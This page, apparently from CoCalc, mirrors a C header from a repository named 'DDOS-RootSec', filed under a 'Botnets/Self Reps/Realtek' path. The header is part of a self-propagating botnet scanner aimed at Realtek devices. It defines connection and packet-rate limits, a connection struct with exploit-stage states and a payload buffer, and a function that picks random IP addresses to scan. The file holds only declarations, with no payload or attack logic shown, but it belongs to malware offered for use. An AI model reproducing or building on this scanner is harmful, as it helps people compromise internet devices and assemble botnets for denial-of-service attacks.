Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/Realtek/realtek.h
5038 views
1
#pragma once
2
3
#include <stdint.h>
4
5
#include "includes.h"
6
7
#ifdef X86
8
#define realtekscanner_SCANNER_MAX_CONNS 9999
9
#define realtekscanner_SCANNER_RAW_PPS 9999
10
#else
11
#define realtekscanner_SCANNER_MAX_CONNS 512
12
#define realtekscanner_SCANNER_RAW_PPS 720
13
#endif
14
15
#define realtekscanner_SCANNER_RDBUF_SIZE 1024
16
#define realtekscanner_SCANNER_HACK_DRAIN 64
17
18
struct realtekscanner_scanner_connection
19
{
20
int fd, last_recv;
21
enum
22
{
23
realtekscanner_SC_CLOSED,
24
realtekscanner_SC_CONNECTING,
25
realtekscanner_SC_EXPLOIT_STAGE2,
26
realtekscanner_SC_EXPLOIT_STAGE3,
27
} state;
28
ipv4_t dst_addr;
29
uint16_t dst_port;
30
int rdbuf_pos;
31
char rdbuf[realtekscanner_SCANNER_RDBUF_SIZE];
32
char payload_buf[1024];
33
};
34
35
void realtekscanner_scanner_init();
36
void realtekscanner_scanner_kill(void);
37
38
static void realtekscanner_setup_connection(struct realtekscanner_scanner_connection *);
39
static ipv4_t realtekscanner_get_random_ip(void);
40
41